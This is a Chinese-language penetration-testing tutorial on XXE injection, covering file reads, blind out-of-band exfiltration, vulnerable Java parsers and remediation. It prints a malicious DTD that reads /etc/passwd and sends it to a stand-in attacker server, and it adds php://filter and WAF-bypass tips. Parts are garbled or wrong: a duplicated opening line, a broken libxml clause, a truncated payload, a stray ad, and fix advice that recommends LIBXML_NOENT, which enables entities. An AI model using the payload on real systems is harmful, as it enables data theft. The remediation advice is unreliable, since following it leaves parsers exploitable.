XML注入XXE漏洞原理与复现 Web安全渗透测试教程

能，但取决于解析器是否加载外部实体——不是所有xml解析都默认开这个口子。比如php的simplexml_load_string()在libxml中默认禁用外部实体。

XXE漏洞到底能不能直接读文件？

能，但取决于解析器是否加载外部实体——不是所有XML解析都默认开这个口子。比如PHP的simplexml_load_string()在libxml LIBXML_NOENT或LIBXML_DTDATTR限制时，就可能把file:///etc/passwd原样拉出来；而Java的DocumentBuilder若没调用setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)，同样危险。

• Windows下常见踩坑：用file:///c:/windows/win.ini测试比/etc/passwd更稳妥，避免路径不存在导致无回显
• PHP中libxml_disable_entity_loader(false)等于主动开后门，5.2–5.6旧环境尤其高危
• 有回显≠一定能读任意文件：如果响应体被截断、HTML转义或JSON包裹，得换php://filter/read=convert.base64-encode/resource=绕过

盲注XXE怎么把数据“偷”出来？

当页面不回显XML内容，就得靠带外（OOB）方式让服务器自己把数据发到你控制的地址。核心是诱导解析器请求一个恶意DTD，再把敏感内容拼进URL参数里。

• 先起一个监听服务：python3 -m http.server 8000 或用ceye.io/dnslog.cn这类DNS/HTTP日志平台
• 构造恶意DTD（如evil.dtd）：

  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://your-server.com/?x=%file;'>">
  %eval;
  %exfil;

• 主XML里引用它： %xxe; ]>
• 注意：目标服务器必须能出网，且DNS解析不受限；某些WAF会拦截含SYSTEM的请求，可尝试用php://filter编码后再外带

Java里哪些解析器默认带XXE风险？

不是所有Java XML库都一样危险。DocumentBuilder和SAXParser在JDK 1.7+默认禁用外部实体，但JAXBContext和老版本TransformerFactory仍可能中招，尤其当开发者手动设置了setFeature("http://xml.org/sax/features/external-general-entities", true)。

畅图

AI可视化工具

下载

• 检查代码里有没有setFeature调用，特别是"external-general-entities"和"external-parameter-entities"这两个开关
• Spring Boot 2.2+默认加固，但如果项目用了自定义XmlMapper且没调用disable(DeserializationFeature.USE_JAVA_ARRAY_FOR_JSON_ARRAY)，仍有隐患
• Tomcat 8.5+对web.xml里的javax.xml.parsers.SAXParserFactory做了默认限制，但应用层代码仍可覆盖

修复XXE为什么不能只靠“过滤关键词”？

正则匹配SYSTEM、file://、DOCTYPE这种做法早就失效了——攻击者用大小写混淆、空格绕过、CDATA包裹、参数实体嵌套都能绕过。真正有效的修复必须落在解析器配置层。

• PHP：统一用libxml_disable_entity_loader(true) + LIBXML_NOENT，别信strip_tags()或preg_replace()
• Java：优先用SecureProcessingFeature，而不是靠黑名单；JAXB场景下加@XmlAccessorType(XmlAccessType.NONE)防反序列化失控
• Python：defusedxml库必须替代原生xml.etree.ElementTree，lxml要禁用load_dtd=True和resolve_entities=False
• 最常被忽略的一点：上传XML文件的功能，即使后端只校验扩展名，也要在解析前强制设置解析器安全选项——因为攻击者可把恶意payload藏在合法标签里

XXE的麻烦在于，它不总在报错里暴露，也不总靠回显确认；一次没触发，不代表没风险。关键是盯住解析器初始化那几行代码，而不是盯着输入字段长什么样。